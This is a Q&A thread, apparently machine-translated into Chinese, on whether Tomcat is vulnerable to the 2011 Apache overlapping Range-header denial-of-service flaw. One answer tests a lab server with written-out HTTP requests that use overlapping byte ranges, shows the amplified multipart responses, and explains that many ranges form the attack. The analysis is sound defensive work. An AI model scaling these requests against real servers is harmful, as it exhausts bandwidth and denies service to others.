Sha*_*den 10

从本质上讲,这个漏洞让 Apache 服务器对单个文件的请求进行大规模响应,远远大于文件本身。虽然 RFC ( 2616 ) 告诉 Web 服务接受多个范围,但并没有说您不能让范围重叠。Apache 的实现很糟糕,但其他 Web 服务器很可能容易受到攻击。

大多数 Tomcat servlet 不允许Range请求,因为它是过滤器的自定义实现,用于喷出正确的内容块。然而,默认的 servlet(处理静态内容)是另一回事。

当前 Tomcat 代码(此处)接受多个范围集,单独验证每个范围集是否在文件大小的范围内,并将其放入要提供的范围列表中。但是,范围是从 servlet 的内部缓存按顺序流出的,如果请求数据的客户端断开连接,应该立即停止进程;在大多数情况下,这应该使重叠范围请求大致相当于提供大文件的性能影响。


而且,为了确认,快速测试..

我们将针对 / 发送快速请求以获取尺寸..

要求:

HEAD / HTTP/1.1
Host: 192.168.100.200
Accept-Encoding: gzip
Connection: close
Run Code Online (Sandbox Code Playgroud)

回复:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"1887-1314245401000"
Last-Modified: Thu, 25 Aug 2011 04:10:01 GMT
Content-Type: text/html
Content-Length: 1887
Date: Thu, 25 Aug 2011 04:18:05 GMT
Connection: close
Run Code Online (Sandbox Code Playgroud)

结论是,可爱的小“它有效!”有 1887 个字节。页。这告诉我们我们可以使用的范围,而 Tomcat 不会因为超出范围而丢弃该范围。

好的,让我们检查它是否允许快速重叠,字节 0 到 10 然后是 5 到 15:

要求:

GET / HTTP/1.1
Host: 192.168.100.200
Range: bytes=0-10,5-15
Accept-Encoding: gzip
Connection: close
Run Code Online (Sandbox Code Playgroud)

回复:

HTTP/1.1 206 Partial Content
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"1887-1314245401000"
Last-Modified: Thu, 25 Aug 2011 04:10:01 GMT
Content-Type: multipart/byteranges; boundary=CATALINA_MIME_BOUNDARY
Content-Length: 224
Date: Thu, 25 Aug 2011 04:17:11 GMT
Connection: close


--CATALINA_MIME_BOUNDARY
Content-Type: text/html
Content-Range: bytes 0-10/1887

<?xml versi
--CATALINA_MIME_BOUNDARY
Content-Type: text/html
Content-Range: bytes 5-15/1887

 version="1
--CATALINA_MIME_BOUNDARY--
Run Code Online (Sandbox Code Playgroud)

是的,果然 -<?xml versiversion="1。所以重叠的作品。

并且,它是否允许请求比实际提供的文件中更多的数据:

要求:

GET / HTTP/1.1
Host: 192.168.100.200
Range: bytes=0-1800,1-1886
Accept-Encoding: gzip
Connection: close
Run Code Online (Sandbox Code Playgroud)

回复:

HTTP/1.1 206 Partial Content
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"1887-1314245401000"
Last-Modified: Thu, 25 Aug 2011 04:10:01 GMT
Content-Type: multipart/byteranges; boundary=CATALINA_MIME_BOUNDARY
Content-Length: 3893
Date: Thu, 25 Aug 2011 04:19:51 GMT
Connection: close


--CATALINA_MIME_BOUNDARY
Content-Type: text/html
Content-Range: bytes 0-1800/1887

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
    <title>Apache Tomcat</title>
</head>

...(lots more data)...
Run Code Online (Sandbox Code Playgroud)

是的 - 接近 4KB 的低于 2KB 的文件。

放大这种方法以包含大量范围,这是攻击的基本结构。在 Tomcat 的案例中,真正的影响似乎是它允许攻击者获得大量数据以响应对相对较小资源的请求,这可能有助于锁定带宽以进行拒绝服务。我也会怀疑其他边缘情况下的影响;使用反向代理尝试缓存 206 个响应,或者当请求的资源是一个大于 Tomcat 缓存的文件时。


wom*_*ble 1

tl;dr:可能不是。

鉴于 Apache httpd 和 Tomcat 是不同的产品,而且我在 Tomcat 中找不到类似的漏洞公告,因此我倾向于“不”。公告中没有详细说明具体的错误是什么,因此很难说这是否可能是一个常见的编程错误,或者是 Apache httpd 特有的错误。